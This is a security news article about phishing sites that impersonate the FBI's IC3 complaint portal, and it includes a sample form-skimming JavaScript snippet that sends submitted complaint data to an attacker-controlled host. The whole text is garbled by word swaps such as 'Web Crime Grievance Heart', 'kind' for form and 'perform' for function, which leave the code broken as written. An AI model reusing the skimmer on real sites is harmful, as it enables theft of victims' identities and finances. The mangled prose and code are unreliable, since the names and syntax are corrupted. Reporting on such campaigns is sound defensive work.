A complicated spoofing marketing campaign has emerged concentrating on the Federal Bureau of Investigation’s Web Crime Grievance Heart (IC3).
Starting in mid-September 2025, victims making an attempt to entry IC3’s official portal had been redirected to fraudulent domains crafted to reflect the official web site.
The impersonators employed look-alike URLs—akin to “ic3-gov.com” and “ic3gov.org”—and reproduced genuine branding, together with the FBI seal and IC3 banner.
Guests who entered private knowledge discovered their data harvested for identification theft and monetary fraud.
IC3 analysts recognized the primary wave of those fraudulent websites on September 18, 2025, when a number of stories surfaced of tourists receiving misleading emails purportedly confirming IC3 report submissions.
These messages contained hyperlinks that led to cloned pages demanding in depth personally identifiable data (PII).
Though the preliminary entry level resembled a routine affirmation discover, the marketing campaign’s underlying payload quietly exfiltrated all kind knowledge to attacker-controlled servers.
Following these early alerts, IC3 researchers famous that the spoofed infrastructure was hosted through bulletproof suppliers, enabling fast area rotation and minimal takedown functionality.
Victims who tried to “report” crimes or replace present stories unwittingly supplied names, house addresses, cellphone numbers, e mail credentials, Social Safety numbers, and banking data—all transmitted in clear textual content over HTTP.
In some instances, the cloned pages hid extra JavaScript modules designed to seize keystrokes and cookies, additional compromising customer safety.
An infection Mechanism and Knowledge Harvesting
The malicious websites function purely by phishing and client-side scripting. Upon loading, a JavaScript snippet intercepts the official kind’s submit occasion, rerouting person inputs to an exfiltration endpoint earlier than permitting the browser to proceed or show a generic error.
A consultant snippet illustrates this tactic:-
doc.querySelector(‘kind#complaintForm’).addEventListener(‘submit’, perform(evt) {
evt.preventDefault();
var formData = new FormData(this);
fetch(‘https://malicious-ic3[.]internet/acquire’, {
methodology: ‘POST’,
physique: formData
}).then(() => this.submit());
});
This strategy permits seamless knowledge seize with out alerting the sufferer. The script additionally logs keystrokes through an injected listener on all enter fields, amassing credentials and session cookies.
As a result of the code is embedded immediately within the web page’s HTML, conventional antivirus options counting on signature-based detection wrestle to flag the risk.
Subsequent community evaluation revealed repeated POST requests to the malicious area shortly after every kind submission, confirming profitable knowledge exfiltration.
Professionals are urged to confirm the URL, guarantee HTTPS with a legitimate .gov certificates, and report any suspicious IC3-branded pages to the FBI instantly.
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